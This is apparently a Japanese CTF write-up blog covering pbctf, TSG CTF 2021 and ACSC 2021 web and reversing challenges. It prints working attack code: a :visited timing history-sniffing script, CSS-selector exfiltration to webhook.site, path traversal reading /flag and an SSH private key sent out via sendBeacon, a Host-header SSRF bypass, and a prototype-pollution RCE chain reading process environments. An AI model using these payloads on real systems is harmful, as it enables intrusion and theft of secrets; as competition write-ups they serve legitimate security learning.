パスが9階層以上の深さになると、以下のようにそのパスにメモを保存できるようになる。これだけ深くなれば、総当たりしようにもできないだろうということらしい。

    if level > 8 and request.method == "POST":
         value = request.form.get("value")
         value = value[0:50]
         values.append(value)

トップページからは好きなURLの通報ができて、以下のようなbotによってアクセスされる。14階層分ランダムにボタンをクリックした後にそのパスにフラグを保存し、そしてユーザが通報したURLにアクセスする。フラグが保存されたパスを特定すればよいようだが、通報の度にそのパスは変わるから、一発で特定できるような方法を考えなければならない。

async function click_vault(page, i) {
  const vault = `a.vault-${i}`;
  const elem = await page.waitForSelector(vault, { visible: true });
  await Promise.all([page.waitForNavigation(), elem.click()]);
}

async function add_flag_to_vault(browser, url) {
  if (!url || url.indexOf("http") !== 0) {
    return;
  }
  const page = await browser.newPage();

  try {
    await page.goto(vaultUrl);

    for (let i = 0; i < 14; i++) {
      await click_vault(page, crypto.randomInt(1, 33));
    }
    await page.type("#value", FLAG);
    await Promise.all([page.waitForNavigation(), page.click("#submit")]);

    await page.goto(url);
    await new Promise((resolve) => setTimeout(resolve, 30 * 1000));
  } catch (e) {
    console.log(e);
  }
  await page.close();
}

フラグのパスが /5/9/6/3/…/ のような場合であれば、botはフラグを書き込むまでに /5/, /5/9/, …といったパスを閲覧しているはずだ。あるパスを閲覧したか判定できるような方法があれば、1階層ずつ総当たりで特定できる。

s1r1usさんから、CSS:visited という擬似クラスを使ってはどうかというアイデアが出た。じゃあCSS Injectionのノリで background-image でリークすればいいんじゃないかと思い、以下のようなHTMLとCSSを書いてみたが動かない。調べてみたところ、どうやらプライバシー上の問題から:visited 擬似クラスが使われている場合は、一部のプロパティしか有効でないらしい。

<style>
  a[href^="/1/"]:visited {
    background-image: url(http://example.com?1);
  }
  a[href^="/2/"]:visited {
    background-image: url(http://example.com?2);
  }
  a[href^="/3/"]:visited {
    background-image: url(http://example.com?3);
  }
</style>
<a href="/1/">hoge</a>
<a href="/2/">hoge</a>
<a href="/3/">hoge</a>

XS-Leaks Wikiなんかも眺めつつなんとかできないか考えていたところ、s1r1usさんがとても興味深いChromiumのissueを発見した。

このissueは次のような内容だ。大量の a 要素を含むWebページを用意して、あらかじめそれらのリンクの href 属性を https://example.com/(乱数) のような確実にユーザが訪問したことのないURLにしておく。続けて、それらのリンクの href 属性を、ユーザが訪問済みであるかどうか確かめたいURLに変更する。もしそのURLが訪問済みであればリンクの色は変わるし、未訪問であればリンクの色は変わらない。その差により、requestAnimationFrame を使ってこの変更後に再描画にかかった時間を計測してやると、訪問済みであれば未訪問である場合より長くなっているはずだ。

手元のGoogle Chrome 94.0.4606.81でも動いたし、問題サーバのbotはシークレットモードでないからこの手法が使えそうだ。issueに添付されていたPoCを参考に、text-shadow などを使ってより再描画に時間がかかりそうな重CSSを書く。リンクの指す先を切り替えて再描画の時間を計測するJavaScriptコードなども丸々書き直すと、次のようなスクリプトができあがった:

<body>
<style>
#nyan {
  text-shadow: black 1px 1px 50px;
  opacity: 1;
  font-size: 15px;
  word-break: break-all;
}

a {
  padding: .5em;
}
</style>
<div id="nyan"></div>
<script>
const NUMBER_OF_ELEMENTS = 130;
const NUMBER_OF_TRIES = 4;

const div = document.getElementById('nyan');
for (let i = 0; i < NUMBER_OF_ELEMENTS; i++) {
  let link = document.createElement('a');
  link.textContent = '#'.repeat(15);
  link.style.position = 'absolute';
  link.style.top = i + 'px';
  link.style.left= i + 'px';
  div.appendChild(link);
}

function updateLinks(url) {
  for (let i = 0; i < NUMBER_OF_ELEMENTS; i++) {
    div.children[i].href = url;
  }
}

function average(a) {
  return a.reduce((p, c) => p + c, 0) / a.length;
}

function go(link) {
  return new Promise(resolve => {
    let a = [];
    let count = 0;
    updateLinks(Math.random());

    let prev = performance.now();
    let flag = false;

    function loop() {
      let now = performance.now();
      let diff = now - prev;
      prev = now;
      a.push(diff);

      flag = !flag;
      if (flag) {
        updateLinks(Math.random());
      } else {
        updateLinks(link);
      }

      count++;
      if (count < NUMBER_OF_TRIES) {
        requestAnimationFrame(loop);
      } else {
        resolve(average(a));
      }
    }
  
    requestAnimationFrame(loop);
  });
}

(async () => {
  const result = await go(`http://vault.chal.perfect.blue/0/`);

  let known = '';
  for (let i = 0; i < 14; i++) {
    let [mt, mu] = [0, ''];
    for (let j = 1; j <= 32; j++) {
      const result = await go(`http://vault.chal.perfect.blue/${known}${j}/`);
      if (result > mt) {
        mt = result;
        mu = j;
      }
    }
    known += `${mu}/`;
    console.log(known);
    navigator.sendBeacon(`log.php?${known}`);
  }
})();
</script>
</body>

このHTMLを開くと、いかにも重そうなおぞましいWebページが描画される。

f:id:st98:20211014103923p:plain

これをbotに報告してやると、そのアクセスでは /8/22/21/4/15/4/18/9/9/1/5/17/8/16/ がフラグの保存されたパスであることがわかった。そのパスにアクセスするとフラグが得られた。

pbctf{who_knew_that_history_was_not_so_private}

TSG CTF 2021 writeup

10/2 - 10/3という日程で開催された。zer0ptsで参加して1位。やったー。毎度のことながら高品質な問題ばかりで楽しかった。

このwriteupで紹介する問題のほかにもWeb問とか、Pillowのデコーダの挙動を悪用しつつSGIという謎画像フォーマットでゴルフをするMisc問のKotlin Lovers Societyとかにも取り組んでいたのだけれども、結局解けなくてくやしい。

他のメンバーが書いたwrite-up:


[Web 393] Udon (4 solves)

ででーん!うどん、動きます。

(URL)

Beginners CTF 2019のRamen、Beginners CTF 2020のSomen、そしてSECCON 2020 Online CTFのpastaに続く麺類シリーズの最新作。今回は好きなうどんについてメモを残せるサービスが提供されている。以下のようなフォームからうどんのメモを投稿できるが、<, >, ', " といった記号は実体参照に変換されてしまうためContent Injectionはできない。

f:id:st98:20211003170446p:plain

トップページからは投稿したメモの一覧を閲覧できる。ここでもメモのタイトルに含まれる特殊な記号は実体参照に変換されるし、各メモのURLについてもサービス側がランダムに生成したIDが使われるため、属性値でのContent Injectionはできない。

f:id:st98:20211003170915p:plain

各メモのページには Tell Admin About This Udon Note というボタンが用意されており、これを押すとadminがアクセスしに来てくれる。ソースコードを確認すると、adminは uid というCookieのキーにadminのユーザIDをセットした上で、Firefoxを使ってアクセスすることがわかる。

  const browser = await puppeteer.launch({
    product: "firefox",
    headless: true,
    ignoreHTTPSErrors: true,
  });
  const page = await browser.newPage();
  await page.setCookie({
    name: "uid",
    value: process.env.ADMIN_UID,
    domain: "app",
    expires: Date.now() / 1000 + 10,
  });

Webサーバ側のソースコードも確認すると、初期化処理としてadminのユーザIDでフラグをその内容としたメモを投稿していることがわかる。なんらかの方法でこのメモのURLを入手することがこの問題の目標のようだ。

   posts := []Post{}
    db.Where("uid = ?", os.Getenv("ADMIN_UID")).Find(&posts)
    if len(posts) == 0 {
        db.Create(&Post{
            UID:         os.Getenv("ADMIN_UID"),
            Title:       "flag",
            Description: os.Getenv("FLAG"),
        })
    }

怪しげな挙動を探していく。ページ下部にクリックすると /reset?k=set-cookie&v=uid%3Dblah%3B+path%3D%2F%3B+expires%3DThu%2C+01+Jan+1970+00%3A00%3A00+GMT に飛ぶ reset というリンクがある。このURLにアクセスするとCookieが削除される。

与えられたソースコードを見てみると、この機能は以下のようなミドルウェアとして実装されていることがわかる。これを使えば、どのページにおいてもGETパラメータの k をキー、v を値として、Set-Cookie に限らずひとつだけ好きなHTTPレスポンスヘッダを発行させられる。HTTPヘッダインジェクションだ。

   r.Use(func(c *gin.Context) {
        k := c.Query("k")
        v := c.Query("v")
        if matched, err := regexp.MatchString("^[a-zA-Z-]+$", k); matched && err == nil && v != "" {
            c.Header(k, v)
        }
        c.Next()
    })

まず Content-Security-Policy ヘッダで report-uri ディレクティブを使うことを考えたが、default-src 'none' ですべてのリソースの読み込みをブロックさせても、以下のように違反レポートからは有用な情報はまったく得られなかった。

{"csp-report":{"blocked-uri":"http://app:8080/favicon.ico","column-number":19,"document-uri":"http://app:8080/?k=Content-Security-Policy&v=default-src%20%27none%27%3b%20report-uri%20https://webhook.site/…","line-number":191,"original-policy":"default-src 'none'; report-uri https://webhook.site/…","referrer":"","source-file":"resource","violated-directive":"default-src"}}

ここで悩んでいたが、s1r1usさんが Link ヘッダを使うことを思いついた。このヘッダを使えば、link 要素を挿入した場合と同じ効果が得られる。つまり、Link: <style.css>; rel="stylesheet" のようなHTTPレスポンスヘッダを発行させれば好きなページで好きなCSSを読み込ませることができる。Link ヘッダはFirefoxぐらいしか対応していないが、そういえばadminはちょうどFirefoxを使っていた。

script-src 'self'; style-src 'self'; base-uri 'none' という内容のCSPヘッダが発行されているために、CSSの読み込み先は同じオリジンでなければならないが、幸いにもこのサービスでは好きなコンテンツを投稿できる。試しに {}*{background:red;} のような内容のメモを作成して、Link ヘッダを使ってトップページで読み込ませてみる。/?k=Link&v=</notes/I4zgr9doRL>%3b rel="stylesheet" のようなURLにアクセスしたところ、 以下のようにページが赤に染まった。ちゃんとメモをCSSとして読み込ませることができたようだ。

f:id:st98:20211003180048p:plain

CSSを使ってトップページに表示されているリンクのURLを抽出したい。CSS Injectionと同じ要領で、a[href$=…]{background:url(…);} のように属性セレクタを使って、a 要素の href 属性がある文字列で終わっていれば特定のURLの画像を読み込むというようなルールをたくさん作ってやれば、少しずつURLが抽出できるはずだ。雑にスクリプトを書く。

import requests

payload = '{}'
known = ''
for c in 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ':
  payload += 'a[href$=' + c + known + ']{background:url(https://webhook.site/…?' + c + known + ')}'

print(len(payload))

r = requests.post('http://34.84.69.72:8080/notes', data={
  'title': payload,
  'description': 'desc'
})
path = r.url.rsplit('/', 1)[-1]

requests.post('http://34.84.69.72:8080/tell', data={
  'path': f'/?k=Link&v=</notes/{path}>%3b rel=%22stylesheet%22'
})

これを実行すると、https://webhook.site/…?r にアクセスが来た。これで r で終わるURLへのリンクがトップページに存在することがわかる。ただ、属性セレクタの属性値は実体参照への変換を避けるために "' で囲んでいないから、もし a[href$=1]{…} のように数字から始まっていれば、仕様からわかるようにちゃんと動いてくれない。もし属性値が数字から始まりそうな場合には、以下のようにブルートフォースしてしまおう。

payload = '{}'
known = ''
for c in 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ':
  for d in '0123456789':
    payload += 'a[href$=' + c + d + known + ']{background:url(https://webhook.site/…?' + c + d + known + ')}'

このスクリプトを使って少しずつフラグのメモのURLを特定できた。/notes/ytH2ajv63r にアクセスするとフラグが得られた。

TSGCTF{uo_uo_uo_uo_uoooooooo_uo_no_gawa_love}

この問題はzer0ptsがfirst bloodだった。競技終了後に公開された作問者によるwriteupを確認したところ、属性セレクタの属性値の部分について、わざわざブルートフォースで飛ばして数字から始まらないようにしなくとも a[href$=\31] { background: red; } のようにエスケープすればよいことがわかった。なるほどなあ。

[Reversing 227] Natural Flag Processing (16 solves)

このRNNモデルが受理するフラグ文字列を探してください。

main.py という以下のような内容のPythonスクリプトと、model_final.pth というモデルが与えられている。

import string

import torch
from torch import nn

FLAG_CHARS = string.ascii_letters + string.digits + "{}-"
CHARS = "^$" + FLAG_CHARS
def sanity_check(text):
    global FLAG_CHARS
    assert text[:7] == "TSGCTF{"
    assert text[-1:] == "}"
    assert all([t in FLAG_CHARS for t in text])

def embedding(text):
    global CHARS
    x = torch.zeros((len(text), len(CHARS)))
    for i, t in enumerate(text):
        x[i, CHARS.index(t)] = 1.0
    return x

class Model(nn.Module):
    def __init__(self, inpt, hidden):
        super().__init__()
        self.cell = nn.RNNCell(inpt, hidden)
        self.out = nn.Linear(hidden, 1)
    def forward(self, xs):
        h = None
        for x in xs:
            h = self.cell(x, h)
        return self.out(h)

def inference(model, text):
    model.eval()
    with torch.no_grad():
        x = embedding("^"+text+"$").unsqueeze(1)
        y = model(x)[0].sigmoid().cpu().item()
    return y

model = Model(len(CHARS), 520)
model.load_state_dict(torch.load("model_final.pth"))
text = input("input flag:")
sanity_check(text)
if inference(model, text) > 0.5:
    print("Congrats!")
else:
    print("Wrong.")

Modelforward メソッドを以下のものに差し替える。

    def forward(self, xs):
        h = None
        for i, x in enumerate(xs):
            h = self.cell(x, h)
            print(max(h[0]))
        return self.out(h)

この状態で inference(model, 'AAAAAAA')inference(model, 'TSGCTF{') を実行してみると、それぞれ以下のような結果になった。正解の文字でなければ結果が大きく変わるっぽい。これを使ってちょっとずつフラグを特定していこう。

f:id:st98:20211003190554p:plain

今度は Modelforward メソッドを以下のものに差し替える。

    def forward(self, xs):
        h = None
        for i, x in enumerate(xs):
            h = self.cell(x, h)
            result = float(max(h[0]))
            if result < 0.5:
              raise Exception(i)
        return self.out(h)

このまま以下のコードを実行してみると、mRnAmRNa などそれっぽい文字列を出力し始めた。定期的に止めて人の手でそれっぽい文字列だけを残すようにしてやり、再び実行するという流れを何度も繰り返すと、最終的に mRNA-st4nDs-f0r-mANuaLLy-tun3d-RecurrEn7-N3uRAl-AutoM4toN という文字列が得られた。

import queue

q = queue.Queue()
q.put('')

while not q.empty():
  tmp = q.get()
  l = len(tmp) + 8
  for c in FLAG_CHARS:
    try:
      inference(model, 'TSGCTF{' + tmp + c + '}')
    except Exception as e:
      if e.args[0] > l:
        print(tmp + c)
        q.put(tmp + c)
TSGCTF{mRNA-st4nDs-f0r-mANuaLLy-tun3d-RecurrEn7-N3uRAl-AutoM4toN}

Asian Cyber Security Challenge (ACSC) 2021 writeup

9/18 - 9/19という日程で開催された。このCTFは個人戦で、総合順位は4位、(今年の1/1時点で25歳以下であり、アジアの一部の国の国籍を持つという)決勝大会への参加資格を持つ人の中では2位だった。日本国内でも2位で、来年の6月にアテネで開催される予定の決勝大会にたぶん参加できるらしく嬉しい。


[Warmup 1] welcome (429 solves)

Discordサーバに入るとフラグが得られた。いつものやつ。

ACSC{welcome_to_ACSC_2021!}

[Web 220] API (107 solves)

与えられたURLにアクセスするとログインフォームが表示される。通常利用できる機能はユーザの登録、ログイン、ログアウトのみ。

function main($acc){
    gen_user_db($acc);
    gen_pass_db();
    header("Content-Type: application/json");
    $user = new User($acc);
    $cmd = $_REQUEST['c'];
    usleep(500000);
    switch($cmd){
        case 'i':
            if (!$user->signin())
                echo "Wrong Username or Password.\n\n";
            break;
        case 'u':
            if ($user->signup())
                echo "Register Success!\n\n";
            else
                echo "Failed to join\n\n";
            break;
        case 'o':
            if ($user->signout())
                echo "Logout Success!\n\n";
            else
                echo "Failed to sign out..\n\n";
            break;
    }
    challenge($user);
}

adminになれれば、以下のコードからわかるようにユーザ一覧の取得やある文字列がフラグであるかどうかの確認などの機能も利用できるようになる。adminでなければ /api.php にリダイレクトされる。

function challenge($obj){
    if ($obj->is_login()) {
        $admin = new Admin();
        if (!$admin->is_admin()) $admin->redirect('/api.php?#access denied');
        $cmd = $_REQUEST['c2'];
        if ($cmd) {
            switch($cmd){
                case "gu":
                    echo json_encode($admin->export_users());
                    break;
                case "gd":
                    echo json_encode($admin->export_db($_REQUEST['db']));
                    break;
                case "gp":
                    echo json_encode($admin->get_pass());
                    break;
                case "cf":
                    echo json_encode($admin->compare_flag($_REQUEST['flag']));
                    break;
            }
        }
    }
}

が、redirect の実装を見ると exit もしくは die が呼び出されておらず、以降の処理も続けて実行されてしまうため、結局のところadminでもadminでなくてもadmin向けの export_users などのメソッドが呼び出せてしまうことがわかる。

 public function redirect($url, $msg=''){
        $con = "<script type='text/javascript'>".PHP_EOL;
       if ($msg) $con .= "\talert('%s');".PHP_EOL;
       $con .= "\tlocation.href = '%s';".PHP_EOL;
       $con .= "</script>".PHP_EOL;
        header("location: ".$url);
        if ($msg) printf($con, $msg, $url);
        else printf($con, $url);
    }

admin向けの機能である export_db の実装を確認する。指定したファイルを読み込んで返してくれる機能のようだ。is_pass_correct が呼ばれていることからわかるように $this->db['path'] の内容を pas というGETパラメータから与えないといけないが、まさにそれを返してくれる get_pass もadmin向けの機能として呼び出せてしまう。

 public function export_db($file){
        if ($this->is_pass_correct()) {
            $path = dirname(__FILE__).DIRECTORY_SEPARATOR;
            $path .= "db".DIRECTORY_SEPARATOR;
            $path .= $file;
            $data = file_get_contents($path);
            $data = explode(',', $data);
            $arr = [];
            for($i = 0; $i < count($data); $i++){
                $arr[] = explode('|', $data[$i]);
            }
            return $arr;
        }else 
            return "The passcode does not equal with your input.";
    }

// …

    public function is_pass_correct(){
        $passcode = $this->get_pass();
        $input = $_REQUEST['pas'];
        if ($input == $passcode) return true;
    }

// …

    public function get_pass(){
        return file_get_contents($this->db['path']);
    }

ユーザ登録 → get_pass からadmin向けの機能を利用するためのパスワードを取得 → export_db から /flag を取得という流れでフラグが得られた。

$ curl -k "https://api.chal.acsc.asia/api.php?id=Aikatsu&pw=Abcd12345&c=u"
Register Success!
$ curl -k "https://api.chal.acsc.asia/api.php?id=Aikatsu&pw=Abcd12345&c=i&c2=gp"
<script type='text/javascript'>
        location.href = '/api.php?#access denied';
</script>
":<vNk"
$ curl -k "https://api.chal.acsc.asia/api.php?id=Aikatsu&pw=Abcd12345&c=i&pas=:<vNk&c2=gd&db=../../../../../flag"
<script type='text/javascript'>
        location.href = '/api.php?#access denied';
</script>
[["ACSC{it_is_hard_to_name_a_flag..isn't_it?}\n"]]
ACSC{it_is_hard_to_name_a_flag..isn't_it?}

[Web 230] Baby Developer (18 solves)

/ にアクセスするとフラグを返すWebサーバが動いている genflag、HTTPサーバとSSHサーバが動いており、後者にログインすると genflag にアクセスできフラグが得られる website、Redisサーバが動く redis、メインのWebサーバである mobile-viewer の4つのコンテナが動いているWebアプリケーションが与えられる。表からアクセスできるのは websiteSSHサーバと mobile-viewer のみだ。

mobile-viewer を見ていく。これはURLを与えるとChromiumでアクセスし、16x16のサイズでスクリーンショットを撮影して返してくれる。一応 genflag にもアクセスさせられるが、genflag 側では以下のように User-AgentiPhone が含まれていないか確認されているし、mobile-viewer によるアクセスはまさにその条件に当てはまってしまうのでダメ。

@app.route('/flag')
def hello_world():
    if request.remote_addr == dev and 'iPhone' not in request.headers.get('User-Agent'):
        fp = open('/flag', 'r')
        flag = fp.read()
        return flag
    else:
        return "Nope.."

website を見ていく。ソースコードとして以下のような Dockerfile が与えられている。鍵の生成などのSSHのための設定を行った後にSSHサーバを立ち上げ、stypr/harold.kim をcloneしてきてWebサーバを立ち上げている。リポジトリpackage.json を見るにVitepressを使っているらしい。

FROM node:lts-buster
WORKDIR /srv/
RUN apt-get update && apt-get -y install ssh

# For remote ssh from the library PC
RUN useradd -d /home/stypr -s /home/stypr/readflag stypr && \
    mkdir -p /home/stypr/.ssh/ && ssh-keygen -q -t rsa -N '' -f /home/stypr/.ssh/id_rsa && \
    cp /home/stypr/.ssh/id_rsa.pub /home/stypr/.ssh/authorized_keys

# Challenge: get flag!
RUN touch /home/stypr/.hushlogin && \
    echo '#include <stdio.h>\r\n#include <stdlib.h>\r\nint main(){FILE *fp;char flag[1035];fp = popen("/usr/bin/curl -s http://genflag/flag", "r");if (fp == NULL) {printf("Error found. Please contact administrator.");exit(1);}while (fgets(flag, sizeof(flag), fp) != NULL) {printf("%s", flag);}pclose(fp);return 0;}' > /home/stypr/readflag.c && \
    gcc -o /home/stypr/readflag /home/stypr/readflag.c && \
    chmod +x /home/stypr/readflag && rm -rf /home/stypr/readflag.c

# Run dev version of harold.kim
RUN git clone https://github.com/stypr/harold.kim
RUN cd harold.kim && yarn install

CMD ["sh", "-c", "service ssh start && cd /srv/harold.kim/ && yarn build && yarn dev --port 80 2>&1 >/dev/null"]

Viteのissueを眺めていると、/@fs/etc/passwd のような感じでPath Traversalができるという脆弱性があるらしいことがわかった。試しにローカル環境で mobile-viewer でシェルを立ち上げて curl http://website/@fs//home/stypr/.ssh/id_rsa してみるとSSH用の秘密鍵が得られてしまった。

さて、これをChromiumで行うにはどうすればよいだろうか。16x16の小さなスクリーンショットではろくな情報が得られない。iframe で開かせてCSSposition: absolutetopleft などを設定して位置を調整し、1~2文字ずつ抽出する手が考えられる。が、1分に6回までしか抽出できない制約がありつらい。

website が返すヘッダをよく見ると、Access-Control-Allow-Origin: * が付いていた。これなら違うオリジンからも内容が取得できてしまう。スクリーンショットはいらなかった。次のようなHTMLを用意して mobile-viewerChromiumにアクセスさせる。すると、log.php秘密鍵がPOSTされた。

<script>
(async () => {
  const r = await fetch('http://website/@fs//home/stypr/.ssh/id_rsa', { mode: "cors" });
  const t = await r.text();
  navigator.sendBeacon('log.php', t);
})();
</script>

この秘密鍵を使って websiteSSHサーバにログインするとフラグが得られた。

$ chmod 600 id_rsa
$ ssh stypr@baby-developer.chal.acsc.asia -p2222 -i id_rsa
ACSC{weird_bugs_pwned_my_system_too_late_to_get_my_CVE}

Connection to baby-developer.chal.acsc.asia closed.
ACSC{weird_bugs_pwned_my_system_too_late_to_get_my_CVE}

[Web 330] Favorite Emojis (46 solves)

web (nginx) と apirenderer (tvanro/prerender-alpine) という3つのコンテナが動いているWebアプリケーションが与えられる。表からアクセスできるのは web だけで、これは以下のような設定で動いている。User-Agentbotっぽい文字列が含まれていれば renderer に見に行かせるらしい。

server {
    listen 80;
 
    root   /usr/share/nginx/html/;
    index  index.html;

    location / {
        try_files $uri @prerender;
    }
 
    location /api/ {
        proxy_pass http://api:8000/v1/;
    }
 
    location @prerender {
        proxy_set_header X-Prerender-Token YOUR_TOKEN;
        
        set $prerender 0;
        if ($http_user_agent ~* "googlebot|bingbot|yandex|baiduspider|twitterbot|facebookexternalhit|rogerbot|linkedinbot|embedly|quora link preview|showyoubot|outbrain|pinterest\/0\.|pinterestbot|slackbot|vkShare|W3C_Validator|whatsapp") {
            set $prerender 1;
        }
        if ($args ~ "_escaped_fragment_") {
            set $prerender 1;
        }
        if ($http_user_agent ~ "Prerender") {
            set $prerender 0;
        }
        if ($uri ~* "\.(js|css|xml|less|png|jpg|jpeg|gif|pdf|doc|txt|ico|rss|zip|mp3|rar|exe|wmv|doc|avi|ppt|mpg|mpeg|tif|wav|mov|psd|ai|xls|mp4|m4a|swf|dat|dmg|iso|flv|m4v|torrent|ttf|woff|svg|eot)") {
            set $prerender 0;
        }
 
        if ($prerender = 1) {
            rewrite .* /$scheme://$host$request_uri? break;
            proxy_pass http://renderer:3000;
        }
        if ($prerender = 0) {
            rewrite .* /index.html break;
        }
    }
}

Host ヘッダに example.com を入れてHTTPリクエストを送ると /$scheme://$host$request_uri? にそのまま展開され、renderer が取ってきた example.com のコンテンツを返す。フラグは以下からわかるように api/ が返すから、rendererapi:3000 にアクセスさせたい。一方で、nginxの設定のrewriteルールを見ればわかるようにポート番号は挿入されないから、Host: api:3000 のようなヘッダを送るだけではアクセスさせられない。

FLAG = os.getenv("flag") if os.getenv("flag") else "ACSC{THIS_IS_FAKE}"

app = Flask(__name__)
emojis = []


@app.route("/", methods=["GET"])
def root():
    return FLAG

色々試していると、api:3000 のように : をU+FF1Aに変えるだけでバイパスできた。

$ curl --path-as-is -H "User-Agent: googlebot" http://favorite-emojis.chal.acsc.asia:5000 -H "Host: api:8000"
<html><head></head><body>ACSC{sharks_are_always_hungry}</body></html>
ACSC{sharks_are_always_hungry}

[Web 370] Cowsay as a Service (33 solves)

名前を入力すると cowsay を使って牛に喋ってもらえる便利なアプリケーションが与えられる。文字の色も変えられるなど、機能が充実している。

f:id:st98:20210920030130p:plain

文字色の変更は以下のAPIを使って行われている。/setting/color{"value":"#ff0000"} のようなJSONを投げると、settings という変数から現在ログインしているユーザの設定を引っ張り出してきて、そこに書き込むらしい。ユーザ名のチェックはまったくないので、例えばユーザ名が __proto__ である場合には settings[ctx.state.user]Object.prototype を返し、さらに setting[ctx.params.name] = ctx.request.body.valueObject.prototype[name] = value 相当のことができる。Prototype Pollutionだ。

const settings = {};

// …

router.post('/setting/:name', (ctx, next) => {
  if (!settings[ctx.state.user]) {
    settings[ctx.state.user] = {};
  }
  const setting = settings[ctx.state.user];
  setting[ctx.params.name] = ctx.request.body.value;
  ctx.redirect('/cowsay');
});

使えるgadgetがないか調べていると、Kibanaで発見されたCVE-2019-7609の記事がヒットした。この記事では child_process.spawn から呼び出されている normalizeSpawnArguments 内に const env = options.env || process.env; という処理があるために、Object.prototype.env にオブジェクトを入れておけばOSコマンドの実行時に環境変数を操作できてしまうというgadgetが使われている。このWebアプリケーションでも child_process.spawnSynccowsay の呼び出しに使われているから利用できそうだ。

ほかにもこの関数にgadgetがないか探していると、options.shell を参照している処理が見つかった。Object.prototype.shell/usr/local/bin/node を、Object.prototype.env は先ほどの記事を参考に {"AAA":"(コード)","NODE_OPTIONS":"--require /proc/self/environ"} を入れればRCEに持ち込めるはずだ。

フラグは環境変数にある。child_process.spawnSync から呼び出されたNode.jsは環境変数が汚れてしまっているので、別のプロセスの /proc/…/environ を読んでしまえばよい。

$ curl 'http://hemwIdPEaGRqLSYT:FqPkMVJuBvsHypGf@cowsay-nodes.chal.acsc.asia:64128/setting/shell' \
  -H 'Content-Type: application/json' \
  -H 'Cookie: username=__proto__' \
  --data-raw '{"value":"/usr/local/bin/node"}'
Redirecting to <a href="/cowsay">/cowsay</a>.

$ curl 'http://hemwIdPEaGRqLSYT:FqPkMVJuBvsHypGf@cowsay-nodes.chal.acsc.asia:64128/setting/env' \
  -H 'Content-Type: application/json' \
  -H 'Cookie: username=__proto__' \
  --data-raw '{"value":{"AAA":"console.log(require(`fs`).readFileSync(`/proc/1/environ`).toString())//","NODE_OPTIONS":"--require /proc/self/environ"}}'
Redirecting to <a href="/cowsay">/cowsay</a>.

$ curl "http://hemwIdPEaGRqLSYT:FqPkMVJuBvsHypGf@cowsay-nodes.chal.acsc.asia:64128/cowsay?say=a" --output -
…
<pre style="color: #000000" class="cowsay">
NODE_VERSION=16.9.1HOSTNAME=38ee80afc568YARN_VERSION=1.22.5HOME=/home/nodeCS_USERNAME=hemwIdPEaGRqLSYTPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binCS_PASSWORD=FqPkMVJuBvsHypGfPWD=/usr/src/appFLAG=ACSC{(oo)<Moooooooo_B09DRWWCSX!}

</pre>
ACSC{(oo)<Moooooooo_B09DRWWCSX!}

[Rev 170] sugar (26 solves)

disk.imgOVMF.fd などのファイルが与えられた。指示通りQEMUで実行してみると、以下のようにフラグを入力せよと言われた。disk.img にはUEFIアプリケーションが含まれており、これを解析する問題らしい。

$ qemu-system-x86_64 -L . -bios OVMF.fd -drive format=raw,file=disk.img -net none -nographic
Input flag:

適当なバイナリエディタdisk.img を開き、MZ で検索するとUEFIアプリケーションのPEが抽出できる。IDA Freewareで静的解析していく。このPEに含まれる文字列を見ていると、Correct! やら Input flag: やら怪しいものがあった。どれも同じ関数から参照されており、おそらくそこでフラグがチェックされているのだろう。

f:id:st98:20210920021614p:plain

この関数では、まず入力を求めた後に、それが38文字であり、ACSC{} で囲まれていることを確認している。しばらくよくわからない処理が続くが、失敗するとAesInitAesCbcEncrypt といった文字列を含むエラーメッセージを吐くところからAESで何かしらを復号しているのだろうと推測できる。

f:id:st98:20210920022629p:plain

最後にユーザ入力の6文字目以降から32文字を切り取り、おそらくそれを16進数表記として解釈してデコードした上で var_450 と比較している。

f:id:st98:20210920022656p:plain

この var_460 に何が入るか確認したい。QEMUコマンドラインオプションに -s -S を加え、gdb で接続する。Wrong! と出力するか Correct! と出力するかが決まる jzブレークポイントを設定した上で continue させる。

$ ./qemu-system-x86_64 -L . -bios OVMF.fd -drive format=raw,file=disk.img -net none -nographic -s -S    
$ gdb
target remote localhost:1234
b *0x0000000006668627
c

$rbp-0x450 を見てみると、以下のようなバイト列が入っていた。これをhexエンコードして ACSC{} で囲めばフラグになる。

(gdb) x/16bx $rbp-0x450
0x7ea4500:      0x91    0xe3    0xde    0x70    0x5d    0xee    0x88    0x1d
0x7ea4508:      0xcb    0xa8    0x4e    0x84    0x0f    0xeb    0x0e    0x24
ACSC{91e3de705dee881dcba84e840feb0e24}

[Rev 220] Pickle Rick (23 solves)

chal.py という以下のPythonコードと、rick.pickle というファイルが与えられる。3.9以上のPythonで実行すると rick.pickle をunpickleするようだ。

# /usr/bin/env python3
import pickle
import sys

# Check version >= 3.9
if sys.version_info[0] != 3 or sys.version_info[1] < 9:
    print("Check your Python version!")
    exit(0)

# This function is truly amazing, so do not fix it!
def amazing_function(a, b, c=None):
    if type(b) == int:
        return a[b]
    else:
        return (
            f"CORRECT! The flag is: ACSC{{{c.decode('ascii')}}}" if a == b else "WRONG!"
        )


with open("rick.pickle", "rb") as f:
    pickle_rick = f.read()

rick_says = b"Wubba lubba dub-dub!!"  # What is the right input here?
assert type(rick_says) == bytes and len(rick_says) == 21
pickle.loads(pickle_rick)

とりあえず実行してみると以下のように出力された。chal.pyrick_says に格納した文字列が合っているかどうかチェックしてくれるらしい。

root@13346db59d34:~# python chal.py
...
Pickle Rick says:
b'Wubba lubba dub-dub!!'
The flag machine says:
WRONG!

rick.pickleを読む

まず rick.picklepickletools で逆アセンブルする。

import pickletools
with open('rick.pickle', 'rb') as f:
  s = f.read()
pickletools.dis(s)

アセンブルされたコードを見ていくと、最初にいくつかのメッセージを print している様子が確認できる。

    0: c    GLOBAL     'builtins print'
   16: T    BINSTRING  '\n...'
17122: \x85 TUPLE1
17123: R    REDUCE
17124: c    GLOBAL     'builtins print'
17140: S    STRING     'Pickle Rick says:'
17161: \x85 TUPLE1
17162: R    REDUCE
17163: c    GLOBAL     'builtins print'
17179: c    GLOBAL     '__main__ rick_says'
17199: \x85 TUPLE1
17200: R    REDUCE
17201: c    GLOBAL     'builtins print'
17217: S    STRING     'The flag machine says:'
17243: \x85 TUPLE1
17244: R    REDUCE

その後に複雑なタプルの定義が続く。

17245: J    BININT     115
17250: \x85 TUPLE1
17251: J    BININT     99
17256: \x85 TUPLE1
17257: \x86 TUPLE2
17258: J    BININT     97
17263: \x85 TUPLE1
17264: J    BININT     162
17269: \x85 TUPLE1
...
19032: \x86 TUPLE2
